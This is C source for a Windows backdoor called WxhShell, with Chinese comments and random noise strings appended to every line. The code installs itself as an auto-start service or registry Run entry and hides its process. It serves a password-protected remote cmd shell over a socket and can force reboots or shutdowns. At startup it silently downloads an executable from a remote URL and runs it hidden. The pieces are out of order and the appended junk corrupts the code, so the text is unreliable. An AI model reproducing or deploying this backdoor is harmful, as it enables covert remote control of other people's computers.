    ExitThread(0); n]6}yJJo  
    } @4 Os?_gJ\  
    break; -N-4l  
    } ul z\x2[Pf  
  // 关机 clR?< LO  
  case 'd': { \>aa8LOe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^2Fs)19R  
    if(Boot(SHUTDOWN)) &<fRej]v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N%n1>!X)!  
    else { PJSDY1T  
    closesocket(wsh); QYf/tQg$  
    ExitThread(0); ZH`K%h0  
    } *`S)@'@:(  
    break; 4}r\E,`*X  
    } AK*mcTr  
  // 获取shell j]ln :?\  
  case 's': { (to/9OrG  
    CmdShell(wsh); dEAAm=K,<  
    closesocket(wsh); 2EqsfU* I  
    ExitThread(0); =yhn8t7@]  
    break; `DWi4y7  
  } 8 /RfNGY  
  // 退出 E |GK3/  
  case 'x': { 1K*f4BnDr~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fn?6%q,!ls  
    CloseIt(wsh); %x'bo>h@  
    break; ;I`,ZKY  
    } |Ad6~E+aL-  
  // 离开 gv Rc:5B[  
  case 'q': { :>er^\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \0^rJ1*  
    closesocket(wsh); t7*H8  
    WSACleanup(); Hq"<vp  
    exit(1); _A~~L6C  
    break; v,!Y=8~9  
        } s:m<(8WRw  
  } tsSS31cv  
  } &=6cz$]z  
UVoLHd  
  // 提示信息 kb}]sj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2XecP'+m  
} <p L;-  
  } J.1ln = Y  
S\{^LVXTMd  
  return; ~d#;r5>  
} Y+"hu2aPkY  
[ilv/V<  
// shell模块句柄 &"H<+>`  
int CmdShell(SOCKET sock) x9o^9QJh  
{ xJH9qc ME  
STARTUPINFO si; -Y jv&5  
ZeroMemory(&si,sizeof(si)); 0@mX4.!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l~Wk07r3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yZ(Nv $[5  
PROCESS_INFORMATION ProcessInfo; yK>0[6l  
char cmdline[]="cmd"; q:~`7I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }96/: ;:k  
  return 0; 2t`9_zqLw  
} M;vlQ"Yl'  
(HV~ '5D  
// 自身启动模式 ,TfI  
int StartFromService(void) {,-5k.P[  
{ M:1F@\<  
typedef struct -RqAT1  
{ nGJIjo_I  
  DWORD ExitStatus; :86luLFm  
  DWORD PebBaseAddress; ZTPOD.:#  
  DWORD AffinityMask; M-qxD"VtV=  
  DWORD BasePriority; >s 8:1l  
  ULONG UniqueProcessId; j2{,1hj  
  ULONG InheritedFromUniqueProcessId; l]kl V+9t  
}   PROCESS_BASIC_INFORMATION; Bg+]_:<U  
D-+)M8bt  
PROCNTQSIP NtQueryInformationProcess; @|UIV  
C+#;L+$Gi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kO`3ENN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k.%W8C<Pa  
1KIq$lG{ E  
  HANDLE             hProcess; o YI=p3l  
  PROCESS_BASIC_INFORMATION pbi; 6L6~IXL>  
-JQg ~1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }A'<?d8   
  if(NULL == hInst ) return 0; Hb AMoow!  
MCrO]N($b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l^eNZ3:H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <1 1Tqb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J&U0y  
8,H5G`  
  if (!NtQueryInformationProcess) return 0; xP/1@6]_Je  
6_ &6'Vq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^q N1~v=hS  
  if(!hProcess) return 0; []N$;~R7  
/HJ(Wt q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4ysdna\+  
I#hg(7|",  
  CloseHandle(hProcess); C=_-p"O#  
a$! {Tob2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [?f.0q  
if(hProcess==NULL) return 0; Iv|WeSL.  
5@Lxbe( q  
HMODULE hMod; 0) Um W{  
char procName[255]; VU0tyj$  
unsigned long cbNeeded; .]ZuG  
lbuW*)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =UKR<@QrK  
.gkPG'm[  
  CloseHandle(hProcess); AoOG[to7  
SnF[mN'  
if(strstr(procName,"services")) return 1; // 以服务启动 _Il9s#NA%  
*I1W+W`G  
  return 0; // 注册表启动 3w:Z4]J  
} jUR #  
Z2j*%/  
// 主模块 A"3&EuvU  
int StartWxhshell(LPSTR lpCmdLine) llG#nDe  
{ g Wv+i/,  
  SOCKET wsl; [QqNsco)  
BOOL val=TRUE; Q]g4gj  
  int port=0; ^Er`{|o6u  
  struct sockaddr_in door; oY6|h3T=Q$  
NUnc"@  
  if(wscfg.ws_autoins) Install(); @)'@LF1Z  
<VxpMF  
port=atoi(lpCmdLine); MJ/%$  
_NqT8C4C  
if(port<=0) port=wscfg.ws_port; *_K-T#  
F#bo4'&>@  
  WSADATA data; 68GGS`&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dUtIAh-j  
"oXAIfU#T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XQY&4tK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @] "9EW 0  
  door.sin_family = AF_INET; ]j$p_s>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "PScM9)\  
  door.sin_port = htons(port); F*].  
u,,WD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *|#JFy?c[  
closesocket(wsl); tc2GI6]e'  
return 1; /Vd#q)b%T  
} 1Da [!^u,D  
_xL&sy09t  
  if(listen(wsl,2) == INVALID_SOCKET) { -+_aL4.  
closesocket(wsl); -Fc#  
return 1; 7>@/*S{X  
} qe"6#@b *|  
  Wxhshell(wsl); 0t[mhmSU,  
  WSACleanup();  2:/MN2  
z==}~|5  
return 0; &c9Fw:f;  
!=:MG#p  
} <H@!Xw;  
E1ob+h:`d  
// 以NT服务方式启动 $,zM99  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O8N0]Mz  
{ -xgmc-LGo  
DWORD   status = 0; h:;eh  
  DWORD   specificError = 0xfffffff; kCjI`=7$[  
_7"W\gn:9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gH// TbS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )hJjVitG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =LY^3TlDj  
  serviceStatus.dwWin32ExitCode     = 0; p}|wO&4h  
  serviceStatus.dwServiceSpecificExitCode = 0; vfTG*jG  
  serviceStatus.dwCheckPoint       = 0; la|l9N^,  
  serviceStatus.dwWaitHint       = 0; ?[/,*Q%  
H1qw1[%0y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I5OH=,y`  
  if (hServiceStatusHandle==0) return; &`Z)5Ww  
8PjhvU  
status = GetLastError(); UuC"-$:  
  if (status!=NO_ERROR) 2OlC7X{  
{ {!Z_&i5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K}3"KC  
    serviceStatus.dwCheckPoint       = 0; '"\Mjz)/  
    serviceStatus.dwWaitHint       = 0; !,!tNs1 K  
    serviceStatus.dwWin32ExitCode     = status; by<@Zwtf  
    serviceStatus.dwServiceSpecificExitCode = specificError; .LcE^y[V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '<D}5u7 2  
    return; 78~V/L;@S2  
  } poFjhq /#(  
PxD}j 2Kd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6U9Fa=%>}  
  serviceStatus.dwCheckPoint       = 0; -?`l<y(  
  serviceStatus.dwWaitHint       = 0; '?GZ"C2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c O>:n  
} vS__*} ^  
|F {E4mg(o  
// 处理NT服务事件,比如:启动、停止 a(T4WDl^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }M@Jrq+7  
{ HwMsP$`q  
switch(fdwControl) .V:<w~=b  
{ < ^!eaBR4  
case SERVICE_CONTROL_STOP: !rGI),  
  serviceStatus.dwWin32ExitCode = 0; GJfNO-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1V$B^/_  
  serviceStatus.dwCheckPoint   = 0; ,,wx197XeD  
  serviceStatus.dwWaitHint     = 0; xm, yqM!0A  
  { U I|@5:J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <f{`}drp/  
  } 5MU@g*gj,C  
  return; *<QL[qyV  
case SERVICE_CONTROL_PAUSE: ~6i mkv^ F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L>GYj6D9  
  break; O[B_7  
case SERVICE_CONTROL_CONTINUE: <!XnUCtV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; luog_;{h+  
  break; bO3KaOC8N  
case SERVICE_CONTROL_INTERROGATE: Qh%vh ;|^  
  break; jN>UW}?  
}; wk/U"@lq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A~SSu.L@  
} Mn;CG'FA  
)PNk O3  
// 标准应用程序主函数 90D.G_45  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X]%4QIeS  
{ o;/F=Zp  
8GQs9  
// 获取操作系统版本 U<byR!qLie  
OsIsNt=GetOsVer(); (7!(e  ,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vG:,oB}  
v3#47F)  
  // 从命令行安装 n:z>l,`C]  
  if(strpbrk(lpCmdLine,"iI")) Install(); g&5VorGx  
0k]N%!U  
  // 下载执行文件 sRI8znus  
if(wscfg.ws_downexe) { :b)@h|4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /^ 7 9|$E  
  WinExec(wscfg.ws_filenam,SW_HIDE); kIo?<=F8T  
} e$I:[>  
-q|M=6gOs  
if(!OsIsNt) { )+R3C%  
// 如果时win9x,隐藏进程并且设置为注册表启动 HXo'^^}q;  
HideProc(); 5|z[%x~f  
StartWxhshell(lpCmdLine); lR^Qm|  
} 6 VDF@V$E  
else 'o9V0#$!  
  if(StartFromService()) Y :BrAa[  
  // 以服务方式启动 24l9/v'  
  StartServiceCtrlDispatcher(DispatchTable); {a%cU[q  
else FQ^uX]<3j  
  // 普通方式启动 ^S$w,  
  StartWxhshell(lpCmdLine); 5OE?;PJ(  
:7*\|2zA  
return 0; r${a S@F  
} ^r$5];n  
wt,N<L  
rMloj8O*  
CKgyv%T5m:  
=========================================== K?WqAVK  
).b+S>k  
ZH :X 4!  
d^>se'ya  
AlV2tffY^  
|V]E8Qt  
" f}3bYF  
(avaTUMOqy  
#include <stdio.h> rR;Om1 -,  
#include <string.h> jL>r*=K)%  
#include <windows.h> (>23[;.0  
#include <winsock2.h> :{<HiJdp  
#include <winsvc.h> #xB%v  
#include <urlmon.h> GV/FK{v5  
RzRLrfV  
#pragma comment (lib, "Ws2_32.lib") ' 'N@ <|  
#pragma comment (lib, "urlmon.lib") j+seJg<_  
)qe o`4+y  
#define MAX_USER   100 // 最大客户端连接数 ;rbn/6  
#define BUF_SOCK   200 // sock buffer @,.H)\a4  
#define KEY_BUFF   255 // 输入 buffer \GP c_m:qL  
6 h):o  
#define REBOOT     0   // 重启 iqYc&}k,  
#define SHUTDOWN   1   // 关机 Dr609(zg^  
f}4h}Cq  
#define DEF_PORT   5000 // 监听端口 hG]20n2  
!s:|Ddv  
#define REG_LEN     16   // 注册表键长度 :=@[FXD4  
#define SVC_LEN     80   // NT服务名长度 FT6cOMu  
2{\Y<%.  
// 从dll定义API }_x oT9HUr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8%B @[YDe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t~`Ef  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ( d.i np(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >6j`ZWab>  
>LSA?dy!?  
// wxhshell配置信息 52,a5TVG  
struct WSCFG { 7 5u*ZMK  
  int ws_port;         // 监听端口 %iNDRLR%I  
  char ws_passstr[REG_LEN]; // 口令 |xOOdy6 )~  
  int ws_autoins;       // 安装标记, 1=yes 0=no HIAd"}^  
  char ws_regname[REG_LEN]; // 注册表键名 `)fGw7J {  
  char ws_svcname[REG_LEN]; // 服务名 |v&&%>A2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )Ec;krb+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R_ }(p2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @ ri. r1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fk:(% ci  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /uVB[Tk^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &0`L;1R  
q ^?{6}sy  
}; R<)uvW_@  
+Xk!)Ge5E*  
// default Wxhshell configuration K||85l?<  
struct WSCFG wscfg={DEF_PORT, _ev^5`>p/  
    "xuhuanlingzhe", I/l]Yv!  
    1, Z8W<RiR  
    "Wxhshell", 1C{~!=6#  
    "Wxhshell", 7E'C o|  
            "WxhShell Service", E {MSi"  
    "Wrsky Windows CmdShell Service", \<%a`IA!*  
    "Please Input Your Password: ", [+GG Wo  
  1, f&|SGD*  
  "http://www.wrsky.com/wxhshell.exe", 5P4 >xv[  
  "Wxhshell.exe" CT : ac64  
    }; |bh:x{h  
-eya$C  
// 消息定义模块 ;L7<mU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =}[V69a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A`KTm(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y? g7sLDc  
char *msg_ws_ext="\n\rExit."; li[g =A,  
char *msg_ws_end="\n\rQuit."; u/AN| y  
char *msg_ws_boot="\n\rReboot..."; M;OYh  
char *msg_ws_poff="\n\rShutdown..."; In r%4&!e  
char *msg_ws_down="\n\rSave to "; ^]kDYhe*Y  
+^.(3Aw  
char *msg_ws_err="\n\rErr!"; q0}LfXql8  
char *msg_ws_ok="\n\rOK!"; LYKepk  
6S(3tvUr  
char ExeFile[MAX_PATH]; UcZ3v]$I  
int nUser = 0; 'D bHXS7N  
HANDLE handles[MAX_USER]; V}*b^<2o 5  
int OsIsNt; ]=/f`  
_Z%C{~,7)x  
SERVICE_STATUS       serviceStatus; 8LL);"$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >9DgsA`'  
AjpQb ~\  
// 函数声明 *KM CU m  
int Install(void); P*}Oi7Z  
int Uninstall(void); 1/z1~:Il  
int DownloadFile(char *sURL, SOCKET wsh); +MEWAW[}^  
int Boot(int flag); SE\`JGA[  
void HideProc(void); D_{J:Hb  
int GetOsVer(void); `CV a`%  
int Wxhshell(SOCKET wsl); SWu=n1J.?H  
void TalkWithClient(void *cs); )wC>Hq[mhW  
int CmdShell(SOCKET sock); rpd3Rp  
int StartFromService(void); 22GtTENd1h  
int StartWxhshell(LPSTR lpCmdLine); gaJS6*P#  
h )w<{/p(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sU>*S$X8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); </eh^<_~  
Z?~7#F~Z`  
// 数据结构和表定义 C][`Dk\D{  
SERVICE_TABLE_ENTRY DispatchTable[] = 3 . @W.GG8  
{ A;kB"Tx  
{wscfg.ws_svcname, NTServiceMain}, I|:*Dy,~  
{NULL, NULL} P iN3t]2  
}; #2}S83 k  
,}NG@JID  
// 自我安装 k;%}%"EVZ  
int Install(void) q+N}AKawB  
{ = zsXa=<  
  char svExeFile[MAX_PATH]; Ws=J)2q  
  HKEY key; h"[ ][  
  strcpy(svExeFile,ExeFile); *yB!^O  
,[A} 86  
// 如果是win9x系统,修改注册表设为自启动 JO _a+Yl  
if(!OsIsNt) { 5~qr+la  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `/"z.~8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $T1c{T6n}  
  RegCloseKey(key); #pf}q+A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hM;EUWv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0j3j/={|.1  
  RegCloseKey(key); 7JujU.&{6  
  return 0; /q]WV^H  
    } $jm'uDvm  
  } A/'G.H  
} Dhq7qz  
else { 0-=QQOART\  
2WKA] l;  
// 如果是NT以上系统,安装为系统服务 Tux~4W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R^D~ic N  
if (schSCManager!=0) !OiP<8 ,H  
{ FrB19  
  SC_HANDLE schService = CreateService Rq;R{a  
  (  p.zU9rID  
  schSCManager, &fW;;>  
  wscfg.ws_svcname, -QRKDp  
  wscfg.ws_svcdisp, &We'omq  
  SERVICE_ALL_ACCESS, J?%Z7&/M>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w=OT^d 9n  
  SERVICE_AUTO_START, wTOB'  
  SERVICE_ERROR_NORMAL, \"n&|_SZ\  
  svExeFile, ^E5Xpza  
  NULL, k%hif8y  
  NULL, /H\ZCIu/7  
  NULL, o'W &gkb9  
  NULL, @#sQ7eMoy  
  NULL keX0br7u_  
  ); ~,ac{%8x  
  if (schService!=0) %e3lb<sv6  
  { +^`c" qJo  
  CloseServiceHandle(schService); 3?2;z+cz*u  
  CloseServiceHandle(schSCManager); Uq"RyvkpP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B [03,zVf  
  strcat(svExeFile,wscfg.ws_svcname); w2 CgEJ %  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K 5!k06;s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o8bV z2E  
  RegCloseKey(key); wZ29/{,  
  return 0; )\t#e`3  
    } .Yo# vV  
  } 7n %QP  
  CloseServiceHandle(schSCManager); ~aBALD0D;  
} S0\:1B  
} R D)dw  
^5xY&1j  
return 1; P[^!Uq[0n7  
} yBeSvsm  
SdN|-'qf  
// 自我卸载 x_#yH3kJ  
int Uninstall(void) |rsu+0Mtz  
{ ='>k|s:  
  HKEY key; +i{&"o4}  
}Vg &9HY  
if(!OsIsNt) { cJL>,Z<|%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @aI`ru+a  
  RegDeleteValue(key,wscfg.ws_regname); \\BblzGMR  
  RegCloseKey(key); Yr"G)i~"Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {n{ j*+  
  RegDeleteValue(key,wscfg.ws_regname); >a Q; 8  
  RegCloseKey(key); J1g `0XH  
  return 0; 4 uD!-1LT@  
  } c}$?k@=  
} z;1yZ4[G  
} =U2`]50  
else { RKRk,jRL  
}[? X%=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  gryC#  
if (schSCManager!=0) mR?OSeeB  
{ R$wo{{KX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s!uewS.  
  if (schService!=0) Au@U;a4UU  
  { !%sj-RMvG  
  if(DeleteService(schService)!=0) { X`[or:cB  
  CloseServiceHandle(schService); k'EP->r  
  CloseServiceHandle(schSCManager); Z-Zox-I1}-  
  return 0; ,253'53W)  
  } JoIffI?{(D  
  CloseServiceHandle(schService); ^\J/l\n  
  } E2 #XXc  
  CloseServiceHandle(schSCManager); HSq&'V  
} Vtr 0=-m&  
} LBbk]I  
x_AG=5OJX,  
return 1; { +MqXeq  
} ,,lrF.  
PudwcP {  
// 从指定url下载文件 ,\xeNUZd  
int DownloadFile(char *sURL, SOCKET wsh) 8.F]&D0p8  
{ cC b'z1  
  HRESULT hr; P]1`=-  
char seps[]= "/"; 02SFFqm  
char *token; $D<LND=o=  
char *file; _L<IxOZh+  
char myURL[MAX_PATH]; FNtcI7  
char myFILE[MAX_PATH]; 44]/rP_m  
9^x'x@6  
strcpy(myURL,sURL); &qF   
  token=strtok(myURL,seps); Q3'\Vj,S&  
  while(token!=NULL) FlgK:=Fmj  
  {  UcKpid  
    file=token; I~gU3(  
  token=strtok(NULL,seps); 7J.alV4`/  
  } vSX71  
TlQu+w|  
GetCurrentDirectory(MAX_PATH,myFILE); s^)wh v`C  
strcat(myFILE, "\\"); 5$`ihO?  
strcat(myFILE, file); T\NvN&h-  
  send(wsh,myFILE,strlen(myFILE),0); t9;yyZh  
send(wsh,"...",3,0); o!dTB,Molr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IJhJfr0)Oo  
  if(hr==S_OK) $i7iv  
return 0; 7 &DhEI ^  
else ~L<q9B( @  
return 1; vdyLwBz:  
Dh*Uv,  
} A|Up >`QH  
VK5|w:  
// 系统电源模块 QI0d:7!W1  
int Boot(int flag) nB[Aw7^|A  
{ /\q1,}M  
  HANDLE hToken; /{gCf  
  TOKEN_PRIVILEGES tkp; _e E(P1  
1\X1G>60m  
  if(OsIsNt) { dj3}Tjt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4 Z.G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y_ b;1RN  
    tkp.PrivilegeCount = 1; G|*^W;(Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +] s"*'V$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qv>?xKSm  
if(flag==REBOOT) { R2|v[nh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?`#)JG,A7  
  return 0; 6`Zx\bPDm  
} Dl_y[ 9  
else { 35|F?Jx.r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V<A_c^unO  
  return 0; tXDO@YH3S  
} %eW[`uyV  
  } ~"6/OJA  
  else { r\-Mj\$-  
if(flag==REBOOT) { "^_9t'0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )L fXb9}  
  return 0; ?nN3K   
} a"ZBSg(  
else { >*rH Nf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ss ;C1:  
  return 0; Pp.qDkT  
} yyCx;  
} t 1gH9  
CvDy;'{y1  
return 1; DY<Br;  
} |a/1mUxQ&  
BIyNiol$AJ  
// win9x进程隐藏模块 ZtG5vdf  
void HideProc(void) 7[aSP5e>T  
{ AT.WXP0$A  
N]qX^RSb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Byq4PX%B  
  if ( hKernel != NULL ) qC<!!473?  
  { 2' fg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rWk4)+Tk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @w:6m&KL9  
    FreeLibrary(hKernel); NgH"jg-  
  } *p )1c_  
p<%76H A  
return; <~ E'% 60;  
} RDX".'`(=  
m<]b]FQ  
// 获取操作系统版本 ^}nz^+R  
int GetOsVer(void) ra#s!m1  
{ P5{|U"Y_  
  OSVERSIONINFO winfo; ~b L^&o(W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *oR`l32O0z  
  GetVersionEx(&winfo); %*d(1?\o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DxX333vC  
  return 1; 57:Wh= x  
  else zyey5Z:7  
  return 0; J*@(rb#G  
} W '54g$T  
2x3'm  
// 客户端句柄模块 ai/VbV'|  
int Wxhshell(SOCKET wsl) zQsu~8PX  
{ XHq8p[F  
  SOCKET wsh; @H'pvFLK?  
  struct sockaddr_in client; pMJK?- )  
  DWORD myID; OG}auM4  
cQj{[Wt4  
  while(nUser<MAX_USER) G}.t!"  
{ mG;Gt=4  
  int nSize=sizeof(client); B/@9.a.c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z>_jC+  
  if(wsh==INVALID_SOCKET) return 1; P8#;a  
GUUVE@Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :m|%=@]`  
if(handles[nUser]==0) P=ARttT`(  
  closesocket(wsh); K&{*sa r  
else 40VdT|n$$  
  nUser++; tg%U 2+.q  
  } Y>eypfK"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K]q9wR'q  
_VIVZ2mU=  
  return 0; +/idq  
} JvFU7`4@  
hGc')  
// 关闭 socket rw*#ta O  
void CloseIt(SOCKET wsh) &^-quzlZ  
{ |Tz/9t  
closesocket(wsh); S&BJR!FQ  
nUser--; 7.O1 ~-  
ExitThread(0); I<Vh Eo,  
} Q+4xU  
=\IcUY,4  
// 客户端请求句柄 E%L]ifA9!  
void TalkWithClient(void *cs) ^:0NKq\  
{ VN=S&iBa/  
@21G[!%J  
  SOCKET wsh=(SOCKET)cs; 0-dhGh?.  
  char pwd[SVC_LEN]; pH&Q]u; O  
  char cmd[KEY_BUFF]; 'ad|@Bh  
char chr[1]; 4i'2~w{/  
int i,j; h#bpog  
!Xt=+aKN  
  while (nUser < MAX_USER) { MI[=,0`D  
Q$iGpTL  
if(wscfg.ws_passstr) { u(KeS`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MS Ui_|7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "HR &Rf k  
  //ZeroMemory(pwd,KEY_BUFF); ["N>Po  
      i=0; o{\@7'G  
  while(i<SVC_LEN) { DBi3 j  
F]Zg9c{#  
  // 设置超时 d>F=|dakL  
  fd_set FdRead; zk]6|i$!I  
  struct timeval TimeOut; di6A.N5A  
  FD_ZERO(&FdRead); 9s)YPlDz  
  FD_SET(wsh,&FdRead); 2vKnxK+ 5  
  TimeOut.tv_sec=8; kl[bDb1p  
  TimeOut.tv_usec=0; gDnG!i+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m^_)aS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'w.:I TJf  
DC`6g#*<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hD\C[C,  
  pwd=chr[0]; Cm}ZeQ  
  if(chr[0]==0xd || chr[0]==0xa) { Jg|3Wjq5  
  pwd=0; }}~ ^!  
  break; K)GC&%_$O  
  } Cg 85  
  i++; o <LA2 q`T  
    } ihH!"HH+  
b]6;:Q!d  
  // 如果是非法用户,关闭 socket "/hs@4{u9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [AR$Sw60  
} D8W:mAGEu  
I_xJ[ALdm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w`1qx;/!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -'k<2"z  
nngL,-v#F  
while(1) { s@o"V >t  
u ` 9Eh;  
  ZeroMemory(cmd,KEY_BUFF); ~C=`yj  
n<yV]i$  
      // 自动支持客户端 telnet标准   Q}]:lmqH  
  j=0; 2ok>z$Y  
  while(j<KEY_BUFF) { >~J_9'gX6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ycw'>W3.*  
  cmd[j]=chr[0]; 6?}8z q[  
  if(chr[0]==0xa || chr[0]==0xd) { ?vf{v  
  cmd[j]=0; UDyvTfh1X  
  break; xKsn);].`  
  } ?h>mrj  
  j++; v}[KVwse  
    } BY,%+>bc)  
{yVi/*;f^  
  // 下载文件 @u6#Tvxy[  
  if(strstr(cmd,"http://")) { /q='~t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F$F5N1<  
